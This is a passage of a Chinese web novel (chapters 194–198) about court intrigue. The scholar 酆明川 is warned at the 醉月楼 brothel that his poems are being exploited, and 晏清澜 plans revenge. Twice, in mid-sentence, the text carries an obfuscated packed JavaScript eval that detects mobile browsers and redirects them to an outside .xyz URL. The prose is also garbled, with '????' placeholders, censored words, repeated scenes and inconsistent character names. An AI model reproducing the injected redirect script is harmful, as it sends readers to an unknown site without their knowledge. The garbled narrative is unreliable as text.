童玄珏淡淡地扫了他一眼,收回目光,语气随意:“照做便是,让芷若机灵点。”他顿了顿,眼中闪过一丝精光,“苏家那老头在朝中可不是摆设,咱们正好借此机会,看看这背后的人,究竟想干什么。” 姚澜也赞同地点了点头,但他更好奇另一件事。 他笑眯眯地看向童玄珏,手中把玩着一只高档茶具,轻轻转动:“阿珏,你说这字,到底是谁的手笔?费了这么大晋章,难道只是为了一个无名小卒?” 童玄珏不置可否地笑了笑,笑容中带着几分高深莫测:“是不是无名小卒,以后就知道了。” 他心里,其实已经有了怀疑的对象,只是还不到时候。 童玄珏放下手中的书稿,端起茶杯,轻轻抿了一口,语气沉稳:“等下次那人再来的时候,记得派人悄悄跟着,别打草惊蛇,我倒要看看,她究竟是何方神圣,葫芦里卖的什么药。” 舒临风轻轻摇着扇子,表示赞同:“那是自然,阿珏你就放心吧。”他微微一笑,眼神中闪过一丝狡黠,“这事儿交给我,你就等着瞧好吧。” 夜幕降临,醉月楼内灯火通明,丝竹管弦之声不绝于耳。 酆明川的身影,又一次出现在了醉月楼的门口。 与前几次不同,这一次,他刚一进门,就被一个伶俐的小丫鬟引到了芷若姑娘的厢房外。 酆明川有些受宠若惊,心中隐隐有些激动,又有些忐忑不安。他深吸一口气,整理了一下衣衫,这才轻轻叩响了房门。 “进来吧。”屋内传来芷若清冷的声音。 酆明川推门而入,只见屋内陈设雅致,轻纱幔帐,空气中弥漫着淡淡的熏香。芷若正坐在桌边,手执一卷书,姿态慵懒而优雅。 见到酆明川进来,芷若缓缓放下手中的书卷,抬眸看向他,眼神依旧清冷,却似乎比之前多了几分探究。 “公子今日前来,可是又有了新作?”芷若的声音,像是上好的丝绸,柔滑而冰凉。 酆明川连忙从怀中掏出一叠诗稿,双手呈上,语气恭敬:“还请姑娘过目。” 芷若接过诗稿,并未急着翻阅,而是抬眸看向酆明川,眼神中带着一丝审视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184968|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“柳公子可知,这醉月楼,是什么地方?” 酆明川一愣,没想到芷若会问出这样的问题。他沉吟片刻,斟酌着答道:“自然是……文人雅士交流诗文、以文会友之地。” 芷若轻笑一声,笑声中带着几分讥诮:“以文会友?只怕是各怀鬼胎吧。” 她顿了顿,眼神变得锐利起来:“你可知,有多少人,想借着这醉月楼,攀龙附凤,一步登天?” 酆明川的脸色微微一变,他自然明白芷若话中的含义。 芷若将手中的诗稿轻轻放在桌上,语气变得严肃起来:“你可知,若你的诗文被有心之人利用,会有什么后果?” 没等酆明川回答,芷若便自顾自地说了下去,声音低沉而有力:“轻则,身败名裂;重则,家破人亡。” 她抬起头,直视着酆明川的眼睛,一字一句地问道:“你可知,这世上,有多少人,为了达到目的,不择手段?” “你可知……这醉月楼的水有多深?” 酆明川的额头上,已经渗出了一层细密的汗珠,他嘴唇颤抖着,却说不出一句话来。酆明川的脸色,肉眼可见地紧绷起来。 这事儿……他好像听谁提过一嘴。 电光火石之间,他想起来了。 哦,对,是远舟! 可当时远舟也没怎么细说,就那么随口一提。 谁能想到,说者无心,听者有意,他竟是记在了心里。 可不就是无心和有意么? 酆明川忽然自嘲地勾了下嘴角。 古往今来,为了争夺一个位置,兄弟反目,父子成仇的事情还少吗? 一开始,酆明川也没觉得这有什么不妥。 可如今被芷若这么一点拨,他才猛地一个激灵,反应过来: 坏了! 这事儿要是传到国子监那些老学究耳朵里,那还得了? 他这官途还要不要了? 想到这,酆明川赶忙弯下腰,冲着芷若深深一礼,语气那叫一个诚恳: “感激妹子指点!” 他心里头那个后怕,那个庆幸啊! 像是一块大石头落了地,又像是从鬼门关走了一遭。 第一百九十四章 还好这事没被那些迂腐的老学究们知道。 不然,他自己仕途受阻就算了,万一要是连累了芷若…… 他一想到芷若可能会因为自己,而被卷入那些无端的纷争,心里就一阵愧疚。 他可不想因为自己一时疏忽,坏了人家姑娘的清誉。 虽然…… 酆明川偷偷抬眼,飞快地瞥了芷若一眼。 虽然她身处这烟花之地,可哪个好人家的姑娘愿意到这里来呢? 这么一想,酆明川心里更不是滋味了。 他低下头,紧紧抿着唇,不敢再看芷若的眼睛。 芷若敏锐地捕捉到了他的视线,回瞥了他一眼,依旧是那副冷若冰霜的样子。 她红唇轻启,说出的话,却比这寒冬腊月的风还要冷,还要扎心: “谢我?倒不如好好提防着点儿你身边的人!” 语气里是毫不掩饰的嘲讽与轻蔑。 说完,她像是丢垃圾一样,随手把一个信封“啪”地丢到酆明川身上。 那力道,像是要把什么脏东西甩出去似的。 酆明川被这突如其来的“袭击”吓了一跳,手忙脚乱地接住信封,生怕一个不小心给弄掉了。 他低头看了看手中的信封,又抬头看了看芷若,一脸的茫然: “姑娘,您这是……?” 他实在不明白,这位芷若姑娘葫芦里卖的什么药。 芷若站在原地,双手抱胸,精致的下颌微微抬起,一副高高在上的姿态。 她似乎对酆明川的迟钝很不满意,眉宇间透着一股子明显的不耐烦: “打开看看不就知道了,哪来那么多废话。” 语气里带着一丝毫不加掩饰的嫌弃。 酆明川被噎了一下,脸上的表情更加无措了。 他像个做错事的孩子,低着头,乖乖照做。 小心翼翼地打开了信封,抽出里面的信纸。 才刚一展开,他的眼睛瞬间亮了起来,像是发现了什么稀世珍宝: “这字……” 他话还没说完,就被芷若冷冰冰地打断了: “不是我写的。” 她声音像结了冰碴子的风,冷得刺骨: “是别人让我交给你的。” 语气里没有一丝温度,仿佛在谈论一件与自己毫不相干的事情。 这下,酆明川更加惊讶了,嘴巴张成了“O”型。 他看看手中的信纸,又看看芷若,满脸都写着“难以置信”。 芷若见他这副呆样,实在懒得跟他多费口舌。 她猛地转过身,对着里屋的方向,拔高了音量,语气不善地吼了一嗓子: “热闹看够了没?看够了就麻溜地自己出来,跟这呆子解释清楚!” 这突如其来的一嗓子,把酆明川吓得一个哆嗦。 他做梦也想不到,平时看着文文弱弱、冷若冰霜的芷若姑娘,动起怒来竟是这般…… 这般有气势! 倒让他想起话本里那些个脾气火爆的江湖侠女了。 他额头上的冷汗都下来了,一颗心“扑通扑通”跳个不停。 更让他心惊的是,这屋里头居然还藏着别人?! 难不成是芷若姑娘的相好? 可这大白天的…… 也不对啊,这醉月楼里,迎来送往的,哪有什么白天黑夜之分? 他正胡思乱想着,只见一道人影从里屋缓缓走了出来。 是一位身着玉色衣裳的年轻姑娘。 这姑娘生得极美,可偏偏面无表情,冷冰冰的,像个没有感情的木头人。 浑身上下都透着一股子“生人勿近”的寒气。 她腰间挂着一柄**,剑鞘上镶嵌着几颗幽蓝色的宝石,在昏暗的光线下闪着幽幽冷光。 酆明川只看了一眼,就觉得心底发寒。 直觉告诉他,这姑娘,绝对不是个善茬! 他下意识地往后退了小半步,悄悄拉开了一点与那玉衣姑娘的距离。 他心里清楚得很,自己这副文弱书生的模样,真要动起手来,只有任人宰割的份。 可他不能退! 他身后还站着芷若姑娘呢! 身为男子汉,怎么能让一个弱女子挡在自己前面? 可…… 酆明川苦笑。 他现在别说是保护别人了,只怕连自保都成问题。 万一待会儿真动起手来,他只求这位女侠手下留情,别伤及无辜就好。 桂柔走到酆明川面前,上下扫了他一眼,眉头微微蹙起。 这人…… 就是主子要她见的人? 看起来,似乎,有点……蠢。 “你就是酆家二郎?” 她的声音冷冷的,听不出喜怒。 酆明川被她盯得心里发毛,浑身不自在,可还是硬着头皮答道: “正是,不知姑娘是……?” 他顿了顿,又补充了一句: “还有,姑娘是如何得知我的身份的?” 总不能是凑巧吧?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184969|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他可不信这世上有这么巧的事。 桂柔却没有立刻回答他的问题,而是反问道: “我且问你,你可知自己为何会出现在此处?” 酆明川愣了愣,这算什么问题? 这醉月楼,难道不是读书人常来吟诗作对的地方吗? 他虽然心中疑惑,却也不敢表露出来,只得老老实实地回答: “自然是为了与同道中人交流诗文,探讨学问。” 他说完,又忍不住在心里嘀咕: 难不成这姑娘是来考校他的? 可这醉月楼,也不是什么考场啊…… 桂柔听了,冷笑一声: “交流诗文?探讨学问?” “我看你是被人当枪使了还不知道!” 她这话一出,酆明川顿时愣住了。 被人当枪使? 什么意思? 他怎么听不懂? “姑娘此话怎讲?” 他连忙追问,神色间带着一丝慌乱。 桂柔看着他,眼神锐利如刀: “你可知,你那些所谓的‘佳作’,都被人拿去做什么了?” 酆明川更懵了: “做什么?不就是……传唱吗?” 他除了让人把诗稿拿给芷若,也没做别的啊? 难不成,还有什么**的? 桂柔见他这副傻样,心中更添了几分不屑。 她冷冷地说道: “你可知,你那些诗文,若是被人稍加利用,会给你带来什么后果?” 酆明川的脸色,终于变了。 他隐约猜到了什么,却又不敢相信。 “姑娘的意思是……” 他声音有些发颤。 “你可知,‘玉华盏’的故事?”桂柔没等他把话说完,便直接打断了他。 酆明川一愣,点了点头: “略有耳闻。” “那你可知,这故事里头,藏着什么玄机?” 桂柔步步紧逼。 酆明川的额头上,已经渗出了一层细密的汗珠。 他张了张嘴,却什么也说不出来。 桂柔看着他,眼神冰冷: “看来你是真不知道。” 她顿了顿,语气变得更加严厉: “你可知,这世上有一种人,最擅长的就是颠倒黑白,混淆是非?” “你可知,你那些诗文,若是落到这种人手里,会变成什么?” 酆明川的脸色,已经变得惨白。 第一百九十五章 他终于明白了桂柔的意思。 他那些自以为是的诗文,竟然成了一些人手中的工具! 而他,却还傻乎乎地以为自己是什么“风流才子”! 想到这,他只觉得一阵后怕,浑身冷汗涔涔。 “多谢姑娘指点!” 他再次向桂柔深深一揖,语气诚恳: “若非姑娘提醒,只怕我????????被蒙在鼓里,不知要闯下什么大祸!” 桂柔看着他,冷冷地说道: “现在知道也不晚。” 她从怀中掏出一张纸,递给酆明川: “这是我家主子让我交给你的,你好好看看吧。” 酆明川接过那张纸,展开一看,顿时愣住了。 这字…… 好熟悉! 跟他之前收到的那封信上的字,一模一样! “这……这是……” 他惊讶地抬起头,看向桂柔。 “这是我家主子的字。” 桂柔淡淡地说道: “你好好临摹,对你日后的仕途,大有裨益。” 酆明川看着手中的字帖,心中五味杂陈。 他万万没想到,自己竟然会以这种方式,得到了一位高人的指点。 他更没想到,这位高人,竟然会如此看重他。 “多谢姑娘!多谢您家主子!” 他再次向桂柔道谢,语气中充满了感激。 桂柔却只是淡淡地摆了摆手: “不必谢我,要谢就谢我家主子吧。” “她对你,可是寄予厚望。” 这话,自然是桂柔瞎编的。 但酆明川却信以为真。 他以为自己真的走了什么狗屎运,得到了一位高人的青睐。 他暗暗下定决心,一定要好好努力,绝不辜负这位高人对他的期望! 桂柔看着他,又问道: “你觉得,玉华盏的故事,应该如何续写?”“我该开口吗?” 酆明川一脸茫然。他迟疑地抬眼,目光在桂柔与芷若之间来回逡巡,似乎想从她们的表情里解读出什么隐藏的深意。 这话一出口,桂柔倒还沉得住气,只是静静地看着他,眼神里却多了几分审视的意味。反倒是旁边那位平日里冷若冰霜、惜字如金的芷若姑娘,先绷不住了。 她嘴角抽搐了一下,毫不掩饰地翻了个大大的白眼,手中的茶盏都险些没拿稳,发出“叮”的一声轻响。 这下,酆明川更懵了,像是被谁当头浇了一盆冷水,整个人都僵住了。 他下意识地挺直了腰板,眼神在两个姑娘的脸上转来转去,带着几分探究,几分无措,还有几分莫名的心虚。 他努力回想着话本里关于恶棍和大贵的每一个细节,每一个字眼都仔仔细细地在脑海中过了一遍,生怕遗漏了什么重要的信息。 再看看眼前这两位姑娘……一个似笑非笑,高深莫测;一个毫不掩饰地嫌弃,仿佛在看一个傻子…… 酆明川终于反应过来了,他像是突然被人从背后敲了一闷棍,瞬间清醒了。 “明白你是为我着想。”他急忙开口,语气诚恳,还带着点儿读书人特有的迂腐和执拗,“不过,我身边确实没有那种心怀不轨的人。” 他一边说着,一边微微摇头,似乎想通过这个动作来强调自己话里的真诚,又像是在给自己壮胆。 酆明川心里跟明镜似的,他可不是真傻。 当初晏远舟提起这事儿的时候,语气随意,轻描淡写,就像是在谈论今天的天气一样,并没有非要他做什么的意思。 来醉月楼是他自己的主意,点了芷若姑娘,也是他自己的决定,跟旁人无关。 从始至终,晏远舟都不知道他有这个打算,甚至可能早就把这茬儿给忘到九霄云外去了。 就算这事儿真被捅到了国子监,那也是他自作孽,不可活,怨不得别人。 桂柔听了这话,嘴角缓缓勾起一个微妙的弧度,似笑非笑,让人捉摸不透。 那笑容,看得酆明川心里莫名地发毛,后背都开始冒冷汗了。 “你身边有没有和大贵那样的人,与我无关,我也懒得管。”她声音冷冷的,不带一丝感情,眼神更是锐利如刀,直直地刺向酆明川。 “不过,你最好别再继续作死,自寻死路!” 她顿了顿,语气愈发严厉,每一个字都像是从牙缝里挤出来的一样: “连累了自己还不够,别把一家老小都给搭进去!到时候哭都没地方哭去!” 最后几个字,她几乎是一字一顿地说出来的,每一个字都 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酆明川小心翼翼地将那张写着字的纸塞进袖袋里,紧紧地攥着,生怕被人瞧了去,更怕一不小心弄丢了。 从雅间出来的时候,他整个人都是飘的,脚步虚浮,像是踩在棉花上一样,轻飘飘的,没有实感。 他做梦都没想到,天降横财这种美事,竟然会落到自己头上,而且还是这么大、这么香的一个馅饼! 按理说,面对这种突如其来的“好运”,他应该心生警惕,怀疑对方是不是别有用心,毕竟,这世上可没有免费的午餐。 可他偏偏就信了,而且还深信不疑。 为啥? 还不是因为那张纸上的字! 那字可不是随便什么人都能写出来的,笔走龙蛇,力透纸背,隐隐透着一股子贵气。 更重要的是,他曾经在一位世家子弟的同窗那里,见过类似的字迹,虽然风格略有不同,但笔意间的神韵却是相通的。 这说明什么? 说明这字的主人,很可能是一位大人物,而且还是一位跟他那位同窗家世相当的大人物! 能得到这样一位大人物的指点,那可是天大的机缘,说出去都够他吹嘘一辈子的了。 第一百九十六章 酆明川一想到这里,就忍不住心潮澎湃,激动不已。 他觉得自己真是祖坟上冒青烟了,走了狗屎运,才能遇到这样的好事。 可**的是,这馅饼背后,藏着的不是金银珠宝,而是要命的**。 --- 醉月楼,另一处隐秘的雅间内。 “晏清澜的人?”舒临风挑了挑眉,语气中带着几分玩味,“有点意思。” 他“唰”地一声展开折扇,轻轻摇着,扇面上的山水画栩栩如生,仿佛活过来了一般。 尤戟方才一路暗中跟随桂柔,亲眼看着她进了浮萍居,没有丝毫差错。 舒临风略一思忖,便派人去查探了一番,结果很快就出来了,不出他的所料。 那个叫桂柔的丫鬟,果然是晏清澜新近收在身边的人,而且还颇得晏清澜的信任。 一个新来的丫鬟,就能被委以如此重任,这本身就很能说明问题了。 “救风尘?我看是‘请君入瓮’还差不多。”舒临风冷笑一声,语气中带着几分不屑,“这出戏,也就骗骗酆明川那种傻子。” 童玄珏坐在太师椅上,手指轻轻摩挲着手上的玉扳指,眼皮都没抬一下,仿佛对这一切都漠不关心。 姚澜坐在一旁,端起茶杯,轻轻抿了一口,姿态优雅得像一只波斯猫。 他笑了笑,说道:“这有什么好奇怪的?晏清澜这步棋,明显是冲着晏远舟去的。明眼人一看就明白。” “酆明川的才学,确实胜过晏远舟,这一点毋庸置疑。”姚澜放下茶杯,语气中带着几分笃定,“只要酆明川一出事,国子监里,还有谁能跟晏远舟争锋?” 他顿了顿,又补充道:“晏清澜这一招,够狠,够绝,直接断了晏远舟的左膀右臂。” 舒临风瞥了姚澜一眼,似笑非笑地说道:“你这话说的,好像晏远舟除了才学,就一无是处似的。” 姚澜微微挑了下眉,不置可否,似乎并不认同舒临风的说法。 在他看来,晏远舟可不仅仅是才学不如酆明川,他心术不正,为人阴险,这才是最致命的缺陷。 “晏远舟这人,心眼太多了,不是个能深交的。”姚澜淡淡地说了一句,算是给晏远舟下了个定论。 舒临风“啧啧”了两声,那双向来含笑的桃花眼里,闪过一丝厌恶,毫不掩饰。 “人前称兄道弟,背后捅人刀子,这种事,也就晏远舟干得出来。” “偏偏酆明川那个傻子,还真把晏远舟当成可以推心置腹的好兄弟,真是蠢到家了!” “晏清澜的人都把话说到这份上了,他竟然还毫无防备,真是不知道‘死’字怎么写。” 舒临风摇了摇头,似乎对酆明川的愚蠢感到十分惋惜。 “不过,话说回来,晏清澜的目的,恐怕不止于此。”童玄珏终于开口了,声音低沉而富有磁性。 他抬起眼皮,看了看手中的玉扳指,嘴角微微勾起一个弧度,露出一个意味深长的笑容。 “她把玉华盏的故事写在纸上,却又故意留下悬念,没写完,这可不仅仅是为了提醒酆明川。” 舒临风点了点头,表示赞同。 他“啪”的一声合上折扇,在手心里轻轻敲了敲,说道:“没错,我也觉得这事儿没那么简单。” “晏远舟是韩承煜的人,这一点毋庸置疑。如果明年科考,晏远舟一举夺魁,那他自然就跟韩承煜绑在一条船上了。” “可晏清澜却给苏家递了消息……苏家,那可是你舅舅的死对头啊。”舒临风摸了摸下巴,若有所思地说,“这晏清澜,到底想干什么?难不成,她想两头下注?” 他顿了顿,又疑惑道:“可她为什么这么看好酆明川?她怎么就笃定酆明川一定能金榜题名,入朝为官呢?”“这酆明川,在国子监也算个人物,”舒临风轻摇折扇,话锋一转,“可要说凭真本事通过科考,入朝为官……” 他撇了撇嘴,语气里带上了几分不以为然。 “科举这玩意儿,水深着呢!哪有世人想的那么简单?还寒门子弟跃龙门?呵,”舒临风冷笑一声,“这里头的门道,但凡有心打听的,哪个不清楚?” 他顿了住,似乎来了兴致,开始掰着手指头如数家珍: “先说这闭卷考试,文章的风格、引用的典故,但凡经验老道的考官,只消一眼,就能看出你师从何人,路数 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“哎对啊!她晏清澜满打满算才十五,几年前还是个病秧子呢,哪来这么多心眼和手段?” 他猛地转过头,紧盯着童玄珏,挑眉问道:“阿珏,这事儿你怎么看?” 童玄珏微微勾起唇角,眼神深邃难测,语气却轻描淡写: “急什么,安心看戏便是。晏清澜这步棋,可不是一般人能看透的。” 他可不认为晏清澜会做什么无用功,每一步,都必然有其深意。至于宋溪溪,不过是她棋盘上的一颗棋子罢了。 姚澜轻抿一口茶,唇角勾起一抹玩味的笑: “陆府太过显眼,不过嘛,有晏清澜在,一时半会儿还倒不了。只是这往后的路,怕是不好走喽。” 他意有所指地看向童玄珏。 提到陆家,舒临风也来了精神,他“唰”地一下展开折扇,轻轻摇动着,眼底闪过一丝兴味: “宋溪溪那丫头,我是见过的,古灵精怪,心思单纯得很。要我说,只要她不掺和那些乱七八糟的事,嫁个寻常人家,安安稳稳过一辈子,比什么都强。 第一百九十七章 ” 他摇了摇扇子,又补充道: “当然了,前提是陆家那些人别犯糊涂,把她往火坑里推。” 姚澜放下手中茶杯,目光幽深地望向窗外,轻笑一声: “若晏清澜真有心护着陆家,宋溪溪的婚事,断不会让她自己做主。陆家丫头的心思都写在脸上, 喜好太过明显。” 他话音一转,看向舒临风: “倒是你,与其操心宋溪溪,不如操心操心你自己。你那点花花肠子,瞒得过别人,还能瞒得过晏清澜?” 舒临风闻言,脸上的笑容一僵,随即又恢复了那副玩世不恭的模样: “我?我有什么好操心的?我一不求功名,二不图富贵,只想逍遥自在地过完这一生。” 他嘴上虽这么说,心里却莫名地有些发虚。不知为何,他总觉得晏清澜看他的眼神,像是能看穿他的一切伪装似的。 童玄珏并未参与他们的谈话,只是静静地品着茶,嘴角噙着一抹若有似无的笑意。 他知道,晏清澜绝非等闲之辈,她所谋划的,远不止眼前这些。至于宋溪溪的婚事,甚至整个陆家的命运,都不过是她手中的棋子,用来搅动这京城风云的棋子。 而他,很乐意做一个旁观者,看看她究竟能走到哪一步。 另一边,晏清澜正悠闲地坐在院子里,逗弄着笼中的翠鸟。 桂柔站在一旁,手里拿着一封刚收到的信,犹豫着要不要禀报。 “主子,刚收到京城来的信,是……是柳公子写的。” 晏清澜头也不抬,坚持投喂青鸟,语气淡淡地: “念。” 桂柔打开信,快速浏览了一遍,然后小心翼翼地禀报道: “柳公子说,他已经按照您的吩咐,将那块玉佩送给了一位落魄书生。” “哦?”晏清澜终于抬起头,眼中闪过一丝玩味,“他还说了什么?” 桂柔继续道:“柳公子还说,他最近一直在琢磨您之前讲的那个‘一捧雪’的故事,总觉得哪里不对劲,但又说不上来。” 晏清澜笑了笑,并不意外。 “他还真是个实心眼儿。你回信告诉他,不必多想,只需记住,有些东西,不该是他的,就不要强求。” 桂柔应了一声,又问道:“主子,您真的觉得,那酆明川能成事吗?奴婢瞧着,他似乎……不大靠谱。” 晏清澜摇了摇头: “我从未指望他能成什么大事。不过是闲来无事,落下一子罢了。” 她放下手中的鸟食,站起身,缓缓走到院中,望着远方的天空,眼神幽深而平静: “这世上的事,有太多变数。我能做的,不过是顺势而为,至于结果如何,就看天意了。” 她转过身,看向桂柔,语气平静地说: “至于柳家那块玉,也不是我真正想要的,不过是放出去的一个诱饵。’一捧雪‘的故事,也并非只是为了警醒酆明川一人。这世上,多的是聪明反被聪明误的人,怀璧其罪的,又何止他一个?” 晏清澜轻轻一笑,语气中带着几分了然和淡漠: “真正的好戏,还在后头呢。”“苏府的人,大约是看中了那块皇后御赐的玉佩,想据为己有。”晏清澜缓缓开口,尾音带着一丝不易察觉的轻颤。 她抬手,轻轻抚过金丝笼上繁复的花纹,冰凉的触感沿着指尖一路蔓延,像极了她此刻的心境。 “为首的晏远舟,几次三番想从酆明川手里‘买’下。” “说是‘买’,”晏清澜嗤笑一声,眉梢眼角尽是嘲讽,“怕不是仗势欺人,巧取豪夺。” 她轻抿一口茶,茶水的苦涩在舌尖蔓延,正如她此刻的心情。 “柳家虽比不上富可敌国的赵家,却也不缺银子,自然没答应这等无理要求。” “晏远舟倒也没强求,”晏清澜语气平淡,仿佛只是在叙述一件无关紧要的事情,“只说这是传家宝,不卖就算了,说得倒是好听。” 说到这里,她微微侧过头,看向窗外。 庭院里的花开得正好,只是不知为何,在她眼中,却平添了几分萧瑟,像极了某些人虚伪的嘴脸。 “若只是这样,我也不会特意让桂柔跑这一趟,平白惹人怀疑。” 晏清澜收回视线,嘴角勾起一抹冷笑,眼中闪过一丝锐利的光芒,宛如出鞘的利剑。 “后来……”她缓缓开口,声音低沉而缓慢,每一个字都像一块石头,重重地砸在人的心上,“酆明川不知怎的就惹上了人命官司。” “柳家家道中落,”晏清澜的声音里带着一丝压抑的愤怒,仿佛下一秒就要爆发,“甚至变卖了那块视若珍宝的玉佩,才勉强保住酆明川一命。” 她紧紧攥住手中的帕子,指节因为用力而微微泛白,手背上的青筋若隐若现。 “然而,最后酆明川还是被人发现死在了江边,死得不明不白。” 晏清澜深吸一口气,努力平复着内心的情绪,但胸口还是剧烈地起伏着。 “世人都说,”她的声音里带着一丝不易察觉的哽咽,像是强忍着悲痛,“他是因为名声尽毁,连累家人,羞愧自尽,真是可笑至极!” “好一个‘羞愧自尽’!”晏清澜猛地一拍桌子,眼中燃烧着熊熊怒火,仿佛要把一切都烧成灰烬,“他们倒是会往自己脸上贴金!” 她转过身,看着笼中不安跳动的翠鸟,眼中的寒意和嘲讽几乎要喷薄而出,如同冰冷的刀锋。 “酆明川死后,全家万念俱灰,没多久也染病去世,一个都没留下。” “当时,”晏清澜冷笑一声,声音里充满了鄙夷和不屑,“晏远舟还假惺惺地感念同窗之谊,逢年过节都会祭拜柳家,装模作样!” 她顿了顿,语气愈发冰冷,像淬了毒的冰刃。 “世人都称赞庄二公子重情重义,真君子也,真是瞎了他们的狗眼!” 晏清澜慢慢走到金丝笼前,伸出手指轻轻逗弄着翠鸟。 翠鸟惊慌地扑腾着翅膀,发出尖锐的叫声,仿佛在回应她的愤怒。 “晏远舟是真君子?”她轻声呢喃,声音里充满了不屑和鄙夷。 她摇了摇头,嘴角的笑意冰冷而苦涩,像一朵开在寒冬里的花。 “呵,沽名钓誉!” 她知道,酆明川的死,跟晏远舟脱不了干系,这其中定有不可告人的秘密。 想起前世的种种,晏清澜的心中一阵刺痛,往事如刀,一刀刀割在她的心上。 她微微闭上眼睛,努力压下心头的翻涌的情绪,但眼角还是滑过一滴泪。 “晏远舟的表弟钱玉明,能为了一只猫让一家人惨死,心狠手辣。” 晏清澜的声音很轻,却带着一种令人不寒而栗的阴冷,仿佛来自地狱的低语。 第一百九十八章 “庄家看上这块玉佩,为了达到目的,用的手段,只会比钱玉明更狠毒、更隐蔽。” 她缓缓睁开眼睛,眸中一片冰冷,不带一丝感情。 晏清澜原本也想拿酆明川当靶子。 “借他的死向庄家发难,再顺势砍掉韩承煜的左膀右臂。”她低声自语。 她轻轻转动着手腕上的玉镯,眼神晦暗不明,心思深沉。 “让晏远舟为前世伤害陆家的行为血债血偿,血债血偿。” “只是……”晏清澜长叹一口气,眼中闪过一丝挣扎,“我终究还是下不了手,做不到如此冷血无情。” 她不是没见过血的温室花朵,只是,有些底线,她不想逾越。 “前世的我,每天在生死边缘挣扎,人命对我来说不过是一串数字,冰冷而麻木。” 晏清澜的声音低沉而沙哑,仿佛陷入了回忆之中,无法自拔。 “但那时,我是组织手中的利器,一把没有感情的杀人工具。” 她抬起头,目光坚定而清澈,像是洗尽铅华后的明珠。 “这一世,我是被镇国大将军收养的女儿,不能辱没了义父义母的威名。” 她顿了顿,语气中充满敬意。 “义父义母一生光明磊落。” “傅清霁、厉宗玉为国为民,他们可以为了大昌百姓,抛头颅洒热血,出生入死。” 晏清澜缓缓走到窗边,望着远方,眼神飘渺,仿佛看到了战火纷飞的场景。 “我虽不能像他们一样,”她的声音里带着一丝遗憾,“但我也不愿为了达到自己的目的,牺牲无辜之人。” “那样,我和那些草菅人命的权贵又有何区别?” “利用别人的性命来达成自己的目的……”她低声自语。 “未免也太把自己当回事了。”晏清澜自嘲地笑了笑。 桂柔静静地站在一旁,看着晏清澜,欲言又止。 她能感觉到晏清澜内心的挣扎和痛苦,却不知该如何安慰。 “主子……” “不必多说。”晏清澜打断了她。 “往柳家送东西一事,暂且搁置。”晏清澜吩咐道。 她眉头微蹙,想起今天被人跟踪的事情,心中有些烦躁。 “说起这个,”桂柔欲言又止。 “怎么?”晏清澜挑眉。 “今天奴婢回来的时候,被人盯上了。”桂柔的声音压得很低。 “对方藏得很深,奴婢差点着了道,不过……” 桂柔话锋一转,带着几分得意,“那人虽然鬼鬼祟祟,但身法路数,和澜王府的暗卫脱不了干系。” 晏清澜听了,不怒反笑。 她走到桌边,给自己倒了杯茶,慢悠悠地品着。 “看来,咱们这位燕王殿下,对我倒是‘关照’得很。” “醉月楼那边,咱们还得继续用。”晏清澜放下茶盏,淡淡地说道。 “童玄珏要查,就让他查。” “他迟早会知道,你是我的人。” 晏清澜勾起唇角,笑意中带着几分算计。 “与其遮遮掩掩,干脆直接跟他摊牌,我晏清澜,不是好惹的。” “再说,他不是已经猜到我的身份了吗?”晏清澜不以为意地笑了笑,“既然如此,再多一件,也无妨。” 桂柔默默地听着,眼中闪过一丝了然。 她明白晏清澜的意思,这是要将计就计。 桂柔不再纠结此事,话锋一转。 “对了主子,钱玉明那边,有眉目了。” 提起钱玉明,桂柔的眼中闪过一丝厌恶。 “那个畜生……”她咬牙切齿地说道,声音里充满了恨意。 她紧紧握住拳头,指甲深深地嵌入掌心,几乎要掐出血来。 她强忍着心中的怒火,尽量用平静的语气说道: “早些年,他仗着家里的权势,没少干那些伤天害理的事情。” “这几年,他倒是收敛了许多,至少明面上不敢再胡作非为。” “不过……”桂柔冷笑一声,“狗改不了吃屎。” “听说他前年‘娶’了个小官的女儿,结果呢,人进门不到一年,就没了。” “那姑娘的家人也不是傻子,闹到衙门,可最后呢?”桂柔的声音里充满了嘲讽和无奈,“还不是被赵家压下去了。” 她叹了口气,眼中充满了悲凉。 “那家人,后来也不知所踪,多半是……” 桂柔没有再说下去,但意思已经很明显了。 晏清澜的脸色阴沉得可怕,眼中闪过一丝寒光。 “小官?九品?”她问。 “是。”桂柔点头,“主子,您是怀疑……” “赵家在京城横行霸道这么多年,总有不长眼的撞上来,说不定能从那些人嘴里撬出点什么。” 晏清澜的声音冷冷的,不带一丝感情。 “京城这么大,总有些见不得光的地方。” “就算那些人被灭了口,也总有漏网之鱼。” 晏清澜的声音里充满了信心。 “总有些人,为了一线生机,会拼命抓住任何机会。” 她顿了顿,继续说道: “就像当年先帝时那些惨死的忠臣,他们的家人,不也有活下来的吗?” 她相信,只要用心去找,总能找到线索的。 “正义或许会迟到,但绝不会缺席。” 桂柔听了晏清澜的话,眼中重新燃起了希望。 她用力地点了点头,声音坚定地说道: “主子放心,奴婢一定竭尽所能,把那些人找出来!” 晏清澜微微颔首,表示赞许。 她走到窗边,望着窗外,眼神深邃,不知道在想些什么。苏府今日迎来了一位稀客。 赵家那位出了名的混世魔王,赵公子钱玉明,正腆着脸围在钱雅芝身边。 一声“姑母”,叫得那叫一个甜腻,仿佛嘴里抹了蜜。 他身后,罗氏和赵芊芊母女俩,一个低垂着眼眸,似乎在极力忍耐着什么;一个微微撇着嘴,脸上写满了不耐烦。 